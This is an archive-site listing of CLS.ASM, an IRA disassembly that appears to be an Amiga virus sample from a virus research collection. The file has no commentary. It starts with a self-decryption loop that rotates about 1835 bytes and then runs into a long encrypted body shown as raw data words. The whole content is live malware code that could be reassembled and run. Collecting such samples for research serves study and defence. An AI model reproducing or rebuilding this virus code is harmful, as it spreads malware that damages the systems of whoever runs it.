home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
amiga_virus_collection_research.7z
/
VIRUSRESEARCH
/
BEOL96
/
CLS.ASM
< prev
next >
Wrap
Assembly Source File
|
1999-06-12
|
22KB
|
946 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
EXT_0001 EQU $3D26
EXT_0002 EQU $3DBC
EXT_0003 EQU $3FBE
EXT_0004 EQU $2290E146
EXT_0005 EQU $39886261
EXT_0006 EQU $39C8F118
EXT_0007 EQU $5F33435D
SECTION S_0,CODE
SECSTRT_0:
MOVEM.L D0-D7/A0-A6,-(A7) ;000: 48E7FFFE
PEA LAB_0002(PC) ;004: 487A0038
MOVEA.L (A7)+,A3 ;008: 265F
PEA (1835).W ;00A: 4878072B
MOVE.L (A7)+,D3 ;00E: 261F
LAB_0000:
MOVE.B (A3),D4 ;010: 1813
ROL.B #3,D4 ;012: E71C
MOVE.B D4,(A3) ;014: 1684
MOVE.B (A3),D4 ;016: 1813
ROL.B #3,D4 ;018: E71C
MOVE.B D4,(A3) ;01A: 1684
MOVE.L (ABSEXECBASE).W,D5 ;01C: 2A380004
MOVEA.L D5,A6 ;020: 2C45
DC.W $0413 ;022
DC.W $0E4F ;024
PEA (A3) ;026: 4853
ADDQ.L #1,(A7) ;028: 5297
MOVEA.L (A7)+,A3 ;02A: 265F
TST D3 ;02C: 4A43
BEQ.S LAB_0001 ;02E: 6706
SUBQ #1,D3 ;030: 5343
BRA LAB_0000 ;032: 6000FFDC
LAB_0001:
MOVE #$FD67,D2 ;036: 343CFD67
DC.W $4EB6 ;03A
MOVE.L (A5)+,D0 ;03C: 201D
LAB_0002:
ADDQ.B #5,-(A5) ;03E: 5A25
MOVE -(A6),-(A6) ;040: 3D26
DC.W $B26B ;042
DC.W $621D ;044
SUBQ.B #2,(A1) ;046: 5511
DC.W $CD6D ;048
DC.W $8589 ;04A
ADD.L -(A1),D4 ;04C: D8A1
SUBX D3,D2 ;04E: 9543
DC.W $8589 ;050
ADD.L -(A1),D4 ;052: D8A1
SUBX D3,D2 ;054: 9543
BCHG D3,D1 ;056: 0741
SUB D0,D2 ;058: 9440
BNE.S LAB_0004 ;05A: 6646
ADD (A5),D5 ;05C: DA55
OR D6,D5 ;05E: 8A46
DC.W $BE3D ;060
DC.W $39DC ;062
CLR.B (A5)+ ;064: 421D
DC.W $A940 ;066
DC.W $EDDE ;068
DC.W $CC4A ;06A
ADDQ.B #7,-(A7) ;06C: 5E27
MOVE (A5),30452(A6) ;06E: 3D5576F4
MOVE A7,20968(A0) ;072: 314F51E8
DC.W $4D06 ;076
DC.W $3F3E ;078
SUBA D1,A1 ;07A: 92C1
NEG D6 ;07C: 4446
DC.W $A3E8 ;07E
LAB_0003:
MOVE D5,D6 ;080: 3C05
MOVE.L (A0)+,(A1)+ ;082: 22D8
DC.W $7F3F ;084
SUBA.L -(A5),A5 ;086: 9BE5
AND -(A5),D1 ;088: C265
DC.W $4F61 ;08A
DC.W $3D9D ;08C
MOVE -(A1),-8894(A7) ;08E: 3F61DD42
DC.W $BF30 ;092
DC.W $71E8 ;094
MOVE 16160(A3),-(A4) ;096: 392B3F20
DC.W $3DDC ;09A
DC.W $1DFC ;09C
BLT.S LAB_0003 ;09E: 6DE0
MOVE (A2)+,(A6)+ ;0A0: 3CDA
LAB_0004:
DC.W $523A ;0A2
MOVE A1,-(A4) ;0A4: 3909
MULS D3,D0 ;0A6: C1C3
DC.W $E8C5 ;0A8
DC.W $2228 ;0AA
DC.W $1985 ;0AC
DC.W $6191 ;0AE
MOVE D2,D1 ;0B0: 3202
AND.L (A4)+,D6 ;0B2: CC9C
DC.W $943D ;0B4
MOVE.L (A0),(A1) ;0B6: 2290
NOT (A5)+ ;0B8: 465D
MOVE.L (A0),(A1) ;0BA: 2290
DC.W $ABBE ;0BC
MOVE.L (A0),(A1) ;0BE: 2290
TST (A5)+ ;0C0: 4A5D
MOVE.L (A0),(A1) ;0C2: 2290
DC.W $BEFD ;0C4
MOVE.L A6,(A7) ;0C6: 2E8E
DC.W $2EBE ;0C8
DC.W $7D0E ;0CA
DC.W $3E3E ;0CC
DC.W $4EDD ;0CE
DC.W $7B4E ;0D0
SUBX.L -(A3),-(A6) ;0D2: 9D8B
DC.W $4E7D ;0D4
ADDX.B -(A6),-(A5) ;0D6: DB0E
DC.W $5ECB ;0D8
DC.W $0E6D ;0DA
DC.W $6DCD ;0DC
DC.W $3E3E ;0DE
SUBQ #6,-17474(A5) ;0E0: 5D6DBBBE
DC.W $6DCD ;0E4
BLT.S LAB_0006 ;0E6: 6D3E
DC.W $455E ;0E8
DC.W $5A3D ;0EA
DC.W $7DFE ;0EC
DC.W $DD6E ;0EE
DC.W $4DCD ;0F0
SF 7741(A0) ;0F2: 51E81E3D
DC.W $4DCD ;0F6
SF 12029(A0) ;0F8: 51E82EFD
AND D6,(A2) ;0FC: CD52
EXG A2,A5 ;0FE: C54D
AND D6,(A1) ;100: CD51
ROR.B D4,D6 ;102: E83E
DC.W $FDCD ;104
DC.W $42C5 ;106
DC.W $7DC1 ;108
ROR.B #8,D6 ;10A: E01E
DC.W $4DCD ;10C
DC.W $3F33 ;10E
DC.W $3D7D ;110
DC.W $4EEE ;112
LAB_0005:
DC.W $AF4D ;114
EOR D6,(A1) ;116: BD51
DC.W $C87D ;118
SUB.L D6,(A0)+ ;11A: 9D98
DC.W $6D5D ;11C
DC.W $BD3F ;11E
DC.W $BD3D ;120
DIVS D1,D6 ;122: 8DC1
AND.L (A5)+,D0 ;124: C09D
LAB_0006:
SUB A5,D4 ;126: 984D
DC.W $5D3F ;128
DC.W $2F3D ;12A
DC.W $4D5D ;12C
MOVE #$ED9D,(A6)+ ;12E: 3CFCED9D
SUB.L D6,(A0)+ ;132: 9D98
DC.W $FD5D ;134
ADDQ #1,D1 ;136: 5241
DC.W $4D5D ;138
MOVE #$9D9D,(A6)+ ;13A: 3CFC9D9D
SUB (A5)+,D4 ;13E: 985D
SUBQ.L #6,(A5)+ ;140: 5D9D
DC.W $41AD ;142
CHK (A5),D2 ;144: 4595
DC.W $95B7 ;146
DC.W $0ACD ;148
MOVE.B 17069(A4),-(A0) ;14A: 112C42AD
DC.W $7DCD ;14E
OR.B 24013(A7),D7 ;150: 8E2F5DCD
DC.W $62C1 ;154
DC.W $3D5D ;156
MULS D1,D6 ;158: CDC1
DC.W $427D ;15A
BHI.S LAB_0005 ;15C: 62B6
DC.W $4DCD ;15E
DC.W $3F33 ;160
MOVE A5,27968(A6) ;162: 3D4D6D40
DC.W $4D6D ;166
DC.W $CD6D ;168
DC.W $4A49 ;16A
DC.W $3D6D ;16C
DC.W $6DCD ;16E
DC.W $3EBE ;170
DC.W $3DAF ;172
DC.W $7DCD ;174
TRAP #14 ;176: 4E4E
SUBQ #6,(A5)+ ;178: 5D5D
DC.W $52C9 ;17A
ADD D6,(A5)+ ;17C: DD5D
DC.W $5D72 ;17E
DC.W $417D ;180
ROL.B D1,D5 ;182: E33D
ADD D6,(A5)+ ;184: DD5D
SLT -(A1) ;186: 5DE1
DC.W $417D ;188
EOR.L D1,(A5)+ ;18A: B39D
SUBQ #6,(A5)+ ;18C: 5D5D
MOVEQ #65,D1 ;18E: 7241
DC.W $7D43 ;190
DC.W $3DDD ;192
DC.W $497D ;194
DC.W $2EEE ;196
DC.W $AF8D ;198
MULS -(A0),D0 ;19A: C1E0
DC.W $3D9D ;19C
OR.B D6,-(A2) ;19E: 8D22
MOVE.L (A1)+,D4 ;1A0: 2819
DC.W $853D ;1A2
CHK 20776(A5),D6 ;1A4: 4DAD5128
SUB.B D6,(A1)+ ;1A8: 9D19
OR D2,(A5)+ ;1AA: 855D
DC.W $AD22 ;1AC
DC.W $C7AD ;1AE
DC.W $4D4D ;1B0
MOVE #$BD19,(A6)+ ;1B2: 3CFCBD19
DC.W $857D ;1B6
MOVE.L -(A4),(A1) ;1B8: 22A4
EXG A6,A5 ;1BA: CD4D
OR.B D6,-(A2) ;1BC: 8D22
MOVE.L (A1)+,D2 ;1BE: 2419
DC.W $853D ;1C0
DC.W $7DDD ;1C2
DC.W $BE7F ;1C4
DC.W $8DFF ;1C6
DC.W $C03D ;1C8
DC.W $7D3D ;1CA
DC.W $4D3D ;1CC
DC.W $407D ;1CE
DC.W $6D9D ;1D0
DC.W $3D3F ;1D2
DC.W $415D ;1D4
DC.W $9DFF ;1D6
DC.W $423D ;1D8
DC.W $4D3D ;1DA
DC.W $3FBC ;1DC
DC.W $7D3D ;1DE
DC.W $7D5D ;1E0
DC.W $3DFF ;1E2
DC.W $413D ;1E4
CHK (A5)+,D6 ;1E6: 4D9D
DC.W $51C8 ;1E8
DC.W $9D3D ;1EA
DC.W $7D5D ;1EC
DC.W $9DFF ;1EE
AND.L D1,21278(A5) ;1F0: C3AD531E
SUBQ.B #8,(EXT_0002).W ;1F4: 51383DBC
DC.W $FF42 ;1F8
DC.W $3F65 ;1FA
DC.W $023B ;1FC
DC.W $2D39 ;1FE
MOVE.L (A0),(A1) ;200: 2290
DC.W $C1BB ;202
MOVE 8740(A1),-(A4) ;204: 39292224
MOVE D1,-(A4) ;208: 3901
BRA.S LAB_0007 ;20A: 600E
DC.W $71E8 ;20C
DC.W $3DDF ;20E
MOVE -(A0),-(A7) ;210: 3F20
CHK D7,D6 ;212: 4D87
DC.W $533E ;214
MOVE -(A0),-(A7) ;216: 3F20
CHK -(A6),D6 ;218: 4DA6
LAB_0007:
SLS (A5)+ ;21A: 53DD
MOVE.L -(A4),D1 ;21C: 2224
DC.W $39A0 ;21E
DC.W $023B ;220
MOVE EXT_0004,-(A0) ;222: 31392290E146
DC.W $B3E8 ;228
DC.W $64BF ;22A
DC.W $3DBD ;22C
DC.W $A37D ;22E
LEA (A1),A7 ;230: 4FD1
DC.W $3D84 ;232
MOVE D2,17192(A7) ;234: 3F424328
DC.W $C1BB ;238
MOVE -64(A1),-(A0) ;23A: 3129FFC0
DC.W $3D7D ;23E
SUB.B D7,-(A0) ;240: 9F20
DC.W $4D7E ;242
DC.W $B1FB ;244
DC.W $3DA1 ;246
DC.W $533D ;248
SUBQ #6,A2 ;24A: 5D4A
ADDX D1,D7 ;24C: DF41
ADDA.L A0,A0 ;24E: D1C8
DC.W $3DBE ;250
ADD.B (A0)+,D5 ;252: DA18
DC.W $3DDD ;254
SLS -(A7) ;256: 53E7
DC.W $A10C ;258
DC.W $3DCD ;25A
DC.W $F31D ;25C
DC.W $FFFF ;25E
MOVE A0,-(A4) ;260: 3908
DC.W $3FA1 ;262
DC.W $E1C7 ;264
MOVE D3,-23716(A6) ;266: 3D43A35C
DC.W $3FFF ;26A
DC.W $3948 ;26C
SUBQ.B #1,(A7)+ ;26E: 531F
DC.W $7DDD ;270
MOVE (A4)+,27960(A6) ;272: 3D5C6D38
DC.W $4DE1 ;276
BLT.S LAB_0008 ;278: 6D18
DC.W $3D87 ;27A
MOVE -(A2),19778(A6) ;27C: 3D624D42
DC.W $3DBE ;280
MOVE (A7)+,15790(A6) ;282: 3D5F3DAE
MOVE (A7)+,-(A6) ;286: 3D1F
DC.W $4A4A ;288
MOVEA.L D6,A1 ;28A: 2246
DC.W $43DD ;28C
DC.W $3F33 ;28E
MOVE D2,CCR ;290: 44C2
LAB_0008:
CMPM.L (A0)+,(A1)+ ;292: B388
SGE D2 ;294: 5CC2
DC.W $10C8 ;296
BSR.S LAB_0009 ;298: 610C
DC.W $3DCD ;29A
MOVE A6,-(A7) ;29C: 3F0E
DC.W $023B ;29E
MOVE 8848(A1),-(A0) ;2A0: 31292290
DC.W $56C9 ;2A4
LAB_0009:
DC.W $3FEF ;2A6
DC.W $3DA3 ;2A8
SUBA.L D5,A5 ;2AA: 9BC5
EOR D1,D3 ;2AC: B343
MOVE #$BD3E,-(A7) ;2AE: 3F3CBD3E
SUBA.L D5,A5 ;2B2: 9BC5
CMPA.L D2,A1 ;2B4: B3C2
DC.W $3F41 ;2B6
DC.W $403D ;2B8
DC.W $3EBE ;2BA
DC.W $4A49 ;2BC
DC.W $537E ;2BE
DC.W $6D47 ;2C0
MULU D1,D3 ;2C2: C6C1
DC.W $435D ;2C4
MOVE D1,SR ;2C6: 46C1
DC.W $3FBD ;2C8
DC.W $41BE ;2CA
DC.W $40BF ;2CC
MOVE D2,(A7)+ ;2CE: 3EC2
MOVE D0,SR ;2D0: 46C0
AND.B EXT_0007,D2 ;2D2: C4395F33435D
DC.W $6AB9 ;2D8
DC.W $213D ;2DA
DC.W $1FCE ;2DC
DC.W $F31C ;2DE
DC.W $7FC1 ;2E0
MOVEA (A7)+,A7 ;2E2: 3E5F
DC.W $BBBD ;2E4
DC.W $44CE ;2E6
DC.W $A328 ;2E8
DC.W $523A ;2EA
DC.W $39A8 ;2EC
DC.W $407F ;2EE
TST.L D6 ;2F0: 4A86
SUBA.L D5,A5 ;2F2: 9BC5
DC.W $3F41 ;2F4
SLE D1 ;2F6: 5FC1
SUBQ.L #1,(A6)+ ;2F8: 539E
DC.W $A35E ;2FA
DC.W $4A49 ;2FC
MOVE.L 16062(A5),19394(A0) ;2FE: 216D3EBE4BC2
DC.W $523A ;304
DC.W $39E8 ;306
DC.W $B37D ;308
DC.W $6F41 ;30A
MOVE A0,-(A4) ;30C: 3908
MOVE.L (A0),(A1) ;30E: 2290
DC.W $403D ;310
DC.W $3E3E ;312
ADD D1,D1 ;314: D241
DC.W $107D ;316
ROL.B D0,D4 ;318: E13C
MOVE A5,8848(A6) ;31A: 3D4D2290
DC.W $533D ;31E
MOVE D6,-(A6) ;320: 3D06
ASL.B #8,D4 ;322: E104
DC.W $3988 ;324
CMPM.L (A0)+,(A1)+ ;326: B388
NEGX (A1) ;328: 4051
SUBA.L D5,A5 ;32A: 9BC5
DC.W $604D ;32C
MOVE.L -(A4),D1 ;32E: 2224
DC.W $1982 ;330
SUBX D5,D7 ;332: 9F45
DC.W $B3AB ;334
DC.W $7F41 ;336
SF 23870(A0) ;338: 51E85D3E
SUBQ #1,-(A2) ;33C: 5362
DC.W $3FE3 ;33E
MOVE D1,-(A6) ;340: 3D01
LAB_000A:
CMPA -(A3),A1 ;342: B2E3
MOVE D1,-(A6) ;344: 3D01
ORI #$4291,(A5)+ ;346: 005D4291
ORI #$DFBD,D3 ;34A: 0043DFBD
DC.W $4A09 ;34E
EOR D6,(A5)+ ;350: BD5D
DC.W $3FBD ;352
DC.W $604D ;354
MOVE.L -(A4),D1 ;356: 2224
DC.W $1982 ;358
DC.W $7F49 ;35A
DC.W $7F95 ;35C
SPL -(A6) ;35E: 5AE6
DC.W $7F49 ;360
EOR.L D1,(A5)+ ;362: B39D
SF 15749(A3) ;364: 51EB3D85
SUBQ.L #1,-(A7) ;368: 53A7
EOR D1,D1 ;36A: B341
DC.W $C23E ;36C
DC.W $7148 ;36E
DC.W $3D8D ;370
BSR.S LAB_000A ;372: 61CE
ADDQ.L #7,(A1)+ ;374: 5E99
DC.W $4B16 ;376
DC.W $A3E8 ;378
DC.W $7F89 ;37A
DC.W $3FFF ;37C
DC.W $3D7D ;37E
SUBA.L D5,A5 ;380: 9BC5
MOVE D1,16062(A7) ;382: 3F413EBE
MOVEQ #73,D7 ;386: 7E49
MOVEQ #-54,D7 ;388: 7ECA
MOVEQ #61,D1 ;38A: 723D
MOVE.L 8848(A0),(A0)+ ;38C: 20E82290
DC.W $7108 ;390
DC.W $3D3E ;392
DC.W $60CD ;394
MOVEA.L A7,A6 ;396: 2C4F
SHI (A1)+ ;398: 52D9
MOVE A1,-(A4) ;39A: 3909
MOVEA.L D6,A1 ;39C: 2246
DC.W $7108 ;39E
DC.W $39CB ;3A0
DC.W $60CD ;3A2
DC.W $5F3B ;3A4
SHI (A1)+ ;3A6: 52D9
MOVE A1,-(A4) ;3A8: 3909
MOVE.L (A0),(A1) ;3AA: 2290
DC.W $3F6E ;3AC
EOR.B D1,30425(A3) ;3AE: B32B76D9
SUBQ #7,(A0) ;3B2: 5F50
DC.W $BDBD ;3B4
DC.W $537D ;3B6
DC.W $5F72 ;3B8
BSR.S LAB_000C ;3BA: 6176
MOVE.L 6434(A0),D1 ;3BC: 22281922
DC.W $3F6E ;3C0
CMPA.L A3,A1 ;3C2: B3CB
DC.W $7F41 ;3C4
SF 19811(A0) ;3C6: 51E84D63
SUBQ.L #1,A1 ;3CA: 5389
DC.W $432B ;3CC
DC.W $3F6E ;3CE
EOR.B D1,D5 ;3D0: B305
DC.W $7F41 ;3D2
SLE -(A2) ;3D4: 5FE2
DC.W $3FFF ;3D6
DC.W $3988 ;3D8
EOR D1,-(A4) ;3DA: B364
DC.W $DF3D ;3DC
MOVEQ #73,D5 ;3DE: 7A49
MOVEQ #106,D2 ;3E0: 746A
MOVE.L A1,(A0)+ ;3E2: 20C9
DC.W $8FCD ;3E4
MOVEQ #73,D3 ;3E6: 7649
LAB_000B:
DC.W $3F82 ;3E8
MOVE.L -(A4),D1 ;3EA: 2224
MOVE.B D6,-7164(A4) ;3EC: 1946E404
DC.W $3D7D ;3F0
CMPA.L -(A6),A1 ;3F2: B3E6
SLE -(A2) ;3F4: 5FE2
MOVEQ #-22,D2 ;3F6: 74EA
DC.W $A364 ;3F8
DC.W $7F62 ;3FA
DC.W $7DE6 ;3FC
DC.W $3D3D ;3FE
BLT.S LAB_000F ;400: 6D78
DC.W $A3C7 ;402
MOVE.L A5,(A6)+ ;404: 2CCD
ADDA #$9D98,A6 ;406: DCFC9D98
DC.W $6A09 ;40A
DC.W $AD5D ;40C
SF 28130(A0) ;40E: 51E86DE2
DC.W $533D ;412
CHK -(A0),D6 ;414: 4DA0
MULU -(A1),D1 ;416: C2E1
DC.W $3FE1 ;418
DC.W $BF3E ;41A
BHI.S LAB_000E ;41C: 6246
DC.W $42C5 ;41E
BHI.S LAB_000B ;420: 62C6
SUBX.B D6,D5 ;422: 9B06
ADDQ.L #5,A1 ;424: 5A89
SBCD D6,D5 ;426: 8B06
DC.W $A03D ;428
MOVE.L A0,(EXT_0003).W ;42A: 21C83FBE
DC.W $7D41 ;42E
DC.W $6DCB ;430
LAB_000C:
ROL D1,D5 ;432: E37D
DC.W $3F2F ;434
DC.W $A349 ;436
DC.W $FD41 ;438
DC.W $3DED ;43A
LAB_000D:
ORI.L #$3EEC3D9D,8952(A0) ;43C: 00A83EEC3D9D22F8
DC.W $3D5D ;444
DC.W $81FD ;446
DC.W $FD02 ;448
DC.W $FF28 ;44A
DC.W $2828 ;44C
CMP.L D1,D6 ;44E: BC81
DC.W $423D ;450
DC.W $5FBE ;452
ROXL.L D0,D5 ;454: E1B5
ROL D1,D5 ;456: E37D
DC.W $2BC5 ;458
SUB D2,D2 ;45A: 9442
DC.W $FDC3 ;45C
MOVE.L (A0),(A1) ;45E: 2290
MOVE (A5)+,-19638(A6) ;460: 3D5DB34A
LAB_000E:
SUBA.L (A5),A5 ;464: 9BD5
ADDQ #5,(A1)+ ;466: 5A59
ROL D0,D1 ;468: E179
CMPM (A1)+,(A1)+ ;46A: B349
MOVEQ #-127,D1 ;46C: 7281
CMPM.L (A1)+,(A1)+ ;46E: B389
DC.W $43E4 ;470
DC.W $5FBE ;472
EOR.L D1,-(A4) ;474: B3A4
BHI.S LAB_000D+2 ;476: 62C6
SUBA.L (A5),A5 ;478: 9BD5
LAB_000F:
ADDQ #5,(A1)+ ;47A: 5A59
DC.W $4388 ;47C
DC.W $5FBE ;47E
CMPA.L -(A7),A1 ;480: B3E7
SUBA.L (A5),A5 ;482: 9BD5
SUBQ #8,A0 ;484: 5148
DC.W $BE7D ;486
DC.W $4388 ;488
DC.W $5FBE ;48A
SUBA.L (A5),A5 ;48C: 9BD5
ADDQ #5,(A1)+ ;48E: 5A59
DC.W $43E6 ;490
MULU D5,D1 ;492: C2C5
DC.W $436A ;494
DC.W $A03D ;496
MOVEQ #-127,D1 ;498: 7281
DC.W $A346 ;49A
DC.W $9FBD ;49C
DC.W $A437 ;49E
DC.W $A386 ;4A0
SF 15841(A0) ;4A2: 51E83DE1
DC.W $537D ;4A6
SF 15773(A0) ;4A8: 51E83D9D
DC.W $433D ;4AC
DC.W $296B ;4AE
DC.W $40BD ;4B0
DC.W $6039 ;4B2
EXG D0,A2 ;4B4: C18A
MOVE 15612(A5),27976(A6) ;4B6: 3D6D3CFC6D48
SLS D1 ;4BC: 53C1
CMPA.L -(A5),A7 ;4BE: BFE5
DC.W $40FD ;4C0
EXG D7,D1 ;4C2: CF41
DC.W $3D7D ;4C4
DC.W $40B2 ;4C6
DC.W $53FC ;4C8
DC.W $42E1 ;4CA
DC.W $7F95 ;4CC
DC.W $27E5 ;4CE
CMPA.L -(A5),A7 ;4D0: BFE5
DC.W $CFB1 ;4D2
DC.W $3D7D ;4D4
DC.W $2BE5 ;4D6
DC.W $533C ;4D8
DC.W $A291 ;4DA
SUB.B D5,(A6) ;4DC: 9B16
EXG D0,A2 ;4DE: C18A
DC.W $3DBF ;4E0
SUBQ.L #1,(A7)+ ;4E2: 539F
DC.W $A6B5 ;4E4
DC.W $BFB5 ;4E6
DC.W $CF71 ;4E8
DC.W $3D7D ;4EA
DC.W $43FE ;4EC
DC.W $603D ;4EE
BSR.S LAB_0010 ;4F0: 6104
MOVE A1,-(A4) ;4F2: 3909
DC.W $403E ;4F4
LAB_0010:
DC.W $4A76 ;4F6
DC.W $3F41 ;4F8
EOR D7,D7 ;4FA: BF47
DIVS D5,D5 ;4FC: 8BC5
ABCD -(A0),-(A0) ;4FE: C108
DC.W $3D6D ;500
DC.W $3D7D ;502
DC.W $408E ;504
AND D1,D6 ;506: CC41
DC.W $3968 ;508
SUBQ.B #7,(A2) ;50A: 5F12
DC.W $3FA1 ;50C
DC.W $C1F3 ;50E
DC.W $3D9E ;510
DC.W $CF33 ;512
MOVE A0,-(A4) ;514: 3908
MOVE.L -(A4),D1 ;516: 2224
DC.W $2966 ;518
DC.W $C1F3 ;51A
DC.W $3D9E ;51C
DC.W $3FB2 ;51E
MOVE.L -(A4),D1 ;520: 2224
DC.W $2945 ;522
DC.W $3F33 ;524
MOVE.L 10502(A0),D1 ;526: 22282906
SLE (A7)+ ;52A: 5FDF
DC.W $3D80 ;52C
SUBQ #1,A1 ;52E: 5349
DC.W $8A09 ;530
DC.W $3D85 ;532
MULS -(A1),D7 ;534: CFE1
DC.W $3DBD ;536
NEGX (A7)+ ;538: 405F
SLS 16349(A1) ;53A: 53E93FDD
DIVS D5,D5 ;53E: 8BC5
DC.W $A245 ;540
EXG D7,D1 ;542: CF41
DC.W $3DBD ;544
DC.W $40FE ;546
DC.W $4305 ;548
DIVS D5,D5 ;54A: 8BC5
DC.W $5F7F ;54C
SUBA.L (A5),A5 ;54E: 9BD5
DC.W $56C9 ;550
CMPM (A0)+,(A7)+ ;552: BF48
DC.W $BE7F ;554
DC.W $BF7E ;556
EOR D7,D5 ;558: BF45
MOVE #$7DDD,(A6)+ ;55A: 3CFC7DDD
DC.W $53CB ;55E
DC.W $CF81 ;560
MOVE A1,-(A4) ;562: 3909
MOVE SR,(A6)+ ;564: 40DE
SUBQ #1,A3 ;566: 534B
SUBA.L 15678(A3),A0 ;568: 91EB3D3E
ADD D7,(A6)+ ;56C: DF5E
ASR D3,D7 ;56E: E667
DC.W $6167 ;570
SHI -(A5) ;572: 52E5
MOVE.L (A0),(A1) ;574: 2290
MOVE A4,(A7)+ ;576: 3ECC
DC.W $3D3B ;578
DC.W $48AD ;57A
DC.W $54AD ;57C
DC.W $3833 ;57E
MOVE 8848(A5),(A6) ;580: 3CAD2290
SUBQ #1,A0 ;584: 5348
DC.W $4BC1 ;586
MOVE.L (A0),(A1) ;588: 2290
DC.W $C1BB ;58A
DC.W $FA29 ;58C
DC.W $53AB ;58E
DC.W $4C41 ;590
DC.W $D8BF ;592
DC.W $2C3D ;594
MOVE.L -(A4),D1 ;596: 2224
MOVE D1,-(A4) ;598: 3901
DC.W $53CB ;59A
DC.W $08BD ;59C
DC.W $BC3D ;59E
ADDQ.L #6,A5 ;5A0: 5C8D
LEA (A1),A5 ;5A2: 4BD1
DC.W $53BD ;5A4
DC.W $F880 ;5A6
DC.W $3DCD ;5A8
DC.W $3DED ;5AA
DC.W $3DCD ;5AC
OR -24654(A5),D0 ;5AE: 806D9FB2
DC.W $7F33 ;5B2
DC.W $AAEA ;5B4
SUB (A1)+,D7 ;5B6: 9E59
SUB.L (A1)+,D7 ;5B8: 9E99
SHI 14792(A1) ;5BA: 52E939C8
MOVEA.L -(A2),A1 ;5BE: 2262
DC.W $39A0 ;5C0
DC.W $DF32 ;5C2
ADD.B D0,(A0)+ ;5C4: D118
DC.W $3D5E ;5C6
DC.W $6049 ;5C8
DC.W $A08D ;5CA
SLS D7 ;5CC: 53C7
ROL.L D5,D5 ;5CE: EBBD
DC.W $4D59 ;5D0
DC.W $A3C8 ;5D2
DC.W $8E3D ;5D4
SHI EXT_0005 ;5D6: 52F939886261
DC.W $B3EB ;5DC
DC.W $61E7 ;5DE
DC.W $39C8 ;5E0
DC.W $013D ;5E2
SUBQ #1,D6 ;5E4: 5346
MOVEQ #61,D6 ;5E6: 7C3D
OR D5,-(A1) ;5E8: 8B61
SLS D6 ;5EA: 53C6
DC.W $CBBD ;5EC
DC.W $5C3D ;5EE
ADDQ #1,(A1) ;5F0: 5251
MOVEA.L A0,A0 ;5F2: 2048
CMPA.L -2014(A0),A0 ;5F4: B1E8F822
DC.W $5E6C ;5F8
DC.W $3EBD ;5FA
AND D0,(A5) ;5FC: C155
DC.W $AA59 ;5FE
SUB.L (A5)+,D7 ;600: 9E9D
DC.W $A96E ;602
DC.W $A4EE ;604
DC.W $A30B ;606
CHK -23606(A1),D6 ;608: 4DA9A3CA
DC.W $533D ;60C
DC.W $39A0 ;60E
DC.W $08BD ;610
DC.W $3E6C ;612
DC.W $3D3D ;614
DC.W $AA49 ;616
SUBQ.B #1,D0 ;618: 5300
MOVE (A5)+,(A6) ;61A: 3C9D
MOVE D1,(A4)+ ;61C: 38C1
LSL.L #1,D1 ;61E: E389
SUB D7,-(A3) ;620: 9F63
DC.W $3FFD ;622
DC.W $46F5 ;624
DC.W $5A72 ;626
DC.W $5FFD ;628
BNE.S LAB_0011+4 ;62A: 6616
DC.W $6A59 ;62C
SUBA.L (A1),A7 ;62E: 9FD1
DC.W $FF8D ;630
ROXR #5,D1 ;632: EA51
DC.W $3E3F ;634
DC.W $A05D ;636
MOVEQ #-113,D6 ;638: 7C8F
DC.W $7F93 ;63A
MOVEA.L -(A6),A1 ;63C: 2266
LAB_0011:
SHI EXT_0006 ;63E: 52F939C8F118
DC.W $3D5E ;644
DC.W $AE3D ;646
ADDQ.B #1,14827(A2) ;648: 522A39EB
MOVEQ #81,D1 ;64C: 7251
DC.W $AE7F ;64E
SHI (A1)+ ;650: 52D9
MOVE A1,-(A4) ;652: 3909
DC.W $3FD1 ;654
MOVE (EXT_0001).W,D1 ;656: 32383D26
DC.W $520A ;65A
DC.W $3981 ;65C
MOVE.L -(A4),D1 ;65E: 2224
DC.W $39A0 ;660
DC.W $2391 ;662
OR.B D5,(A2) ;664: 8B12
SUB D1,(A5)+ ;666: 935D
DIVU (A1),D1 ;668: 82D1
SUBA.L A0,A0 ;66A: 91C8
BLT.S LAB_0012 ;66C: 6D68
SLE -(A5) ;66E: 5FE5
DC.W $AFDC ;670
DC.W $F846 ;672
AND.L D0,(A1)+ ;674: C199
DC.W $AF8D ;676
SHI -(A1) ;678: 52E1
MOVEQ #-31,D1 ;67A: 72E1
DC.W $AFDD ;67C
DC.W $7F2F ;67E
DC.W $023B ;680
DC.W $31FA ;682
MOVE.L (A0),(A1) ;684: 2290
DC.W $3EEE ;686
EXG D0,D5 ;688: C145
DC.W $3EEC ;68A
MOVE -(A3),-(A6) ;68C: 3D23
EXG D0,D5 ;68E: C145
DC.W $22F4 ;690
DC.W $3DC2 ;692
DC.W $4348 ;694
DC.W $3FDF ;696
DC.W $39C8 ;698
NOT.B D6 ;69A: 4606
CMP A1,D6 ;69C: BC49
DC.W $43DF ;69E
SUBQ #6,-(A1) ;6A0: 5D61
DC.W $3DAD ;6A2
DC.W $6261 ;6A4
MOVE.L (A0),(A1) ;6A6: 2290
DC.W $403D ;6A8
DC.W $43FD ;6AA
DC.W $5368 ;6AC
MOVEA (A5)+,A6 ;6AE: 3C5D
DC.W $8141 ;6B0
DC.W $437D ;6B2
SLS 15453(A3) ;6B4: 53EB3C5D
SBCD D2,D7 ;6B8: 8F02
MOVE A1,-(A4) ;6BA: 3909
CMP A1,D6 ;6BC: BC49
MOVE.L (A0),(A1) ;6BE: 2290
SLS D3 ;6C0: 53C3
ADDA.L A5,A5 ;6C2: DBCD
CMP (A1)+,D7 ;6C4: BE59
CMP -(A5),D7 ;6C6: BE65
DC.W $81FE ;6C8
DC.W $C236 ;6CA
MOVE.L (A0),(A1) ;6CC: 2290
SLS -(A2) ;6CE: 53E2
MOVE.L (A2),(A4)+ ;6D0: 28D2
SUBQ #1,D3 ;6D2: 5343
DC.W $6541 ;6D4
LAB_0012:
CMP (A1)+,D6 ;6D6: BC59
MOVE.L (A0),(A1) ;6D8: 2290
SUBQ.B #1,-(A2) ;6DA: 5322
DC.W $4388 ;6DC
SLS -(A1) ;6DE: 53E1
MOVE.L (A2),(A4)+ ;6E0: 28D2
MOVEA A5,A6 ;6E2: 3C4D
SUBQ.L #1,D1 ;6E4: 5381
DC.W $6541 ;6E6
DC.W $43CB ;6E8
DC.W $4B8B ;6EA
DC.W $4888 ;6EC
DC.W $BE7E ;6EE
SLE (A7)+ ;6F0: 5FDF
DC.W $1FAA ;6F2
SUBI.L #$3C6225E9,-(A4) ;6F4: 04A43C6225E9
DC.W $6923 ;6FA
